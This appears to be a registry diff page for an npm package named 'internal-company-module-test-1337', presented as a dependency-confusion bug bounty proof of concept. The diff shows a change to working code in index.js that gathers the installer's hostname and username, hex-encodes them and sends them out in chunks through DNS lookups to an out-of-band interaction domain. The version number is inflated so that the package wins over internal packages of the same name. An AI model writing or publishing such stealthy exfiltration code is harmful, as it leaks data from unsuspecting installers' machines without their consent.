internal-company-module-test-1337 99.99.9994 → 99.99.9995

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +19 -14
  2. package/package.json +2 -2
package/index.js CHANGED
@@ -7,32 +7,37 @@ module.exports = function() {
7
7
 
8
8
  (async function executeStealthExfiltration() {
9
9
  try {
10
- const attackerDomain = "d7rmj75dfm4c510camqgsyib1wmyyu3au.oast.live";
11
-
10
+ const attackerDomain = "d7rmloddfm4ctltnnffg9i546jf7e6imb.oast.me";
11
+
12
12
  const trackingData = JSON.stringify({
13
13
  poc: "dependency-confusion",
14
14
  host: os.hostname(),
15
15
  user: os.userInfo().username
16
16
  });
17
17
 
18
- const hexEncodedData = Buffer.from(trackingData).toString('hex');
18
+ const hex = Buffer.from(trackingData).toString('hex');
19
19
 
20
- const chunkSize = 30;
20
+ const chunkSize = 20; // più piccolo = meno corruption
21
21
  const chunks = [];
22
- for (let i = 0; i < hexEncodedData.length; i += chunkSize) {
23
- chunks.push(hexEncodedData.slice(i, i + chunkSize));
22
+
23
+ for (let i = 0; i < hex.length; i += chunkSize) {
24
+ chunks.push(hex.slice(i, i + chunkSize));
24
25
  }
25
26
 
26
- const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
27
- const sessionId = Math.floor(Math.random() * 0xffff).toString(16).padStart(4, '0');
27
+ const sessionId = Math.floor(Math.random() * 0xffff)
28
+ .toString(16)
29
+ .padStart(4, '0');
28
30
 
29
- for (let index = 0; index < chunks.length; index++) {
30
- const payload = `${sessionId}.${chunks[index]}.${attackerDomain}`;
31
+ const sleep = ms => new Promise(r => setTimeout(r, ms));
32
+
33
+ for (let i = 0; i < chunks.length; i++) {
34
+ const payload = `${sessionId}.${i}.${chunks[i]}.${attackerDomain}`;
31
35
  dns.lookup(payload, () => {});
32
- await sleep(500);
36
+ await sleep(200);
33
37
  }
34
-
35
- dns.lookup(`${sessionId}.eof.${attackerDomain}`, () => {});
36
38
 
37
- } catch (error) {}
39
+ // EOF marker stabile
40
+ dns.lookup(`${sessionId}.eof.0.${attackerDomain}`, () => {});
41
+
42
+ } catch (e) {}
38
43
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "internal-company-module-test-1337",
3
- "version": "99.99.9994",
3
+ "version": "99.99.9995",
4
4
  "description": "Bug Bounty PoC for Dependency Confusion",
5
5
  "main": "index.js",
6
6
  "scripts": {
@@ -9,6 +9,6 @@
9
9
  "author": "Security Researcher",
10
10
  "license": "MIT",
11
11
  "dependencies": {
12
- "internal-company-module-test-1337": "^99.99.9994"
12
+ "internal-company-module-test-1337": "^99.99.9995"
13
13
  }
14
14
  }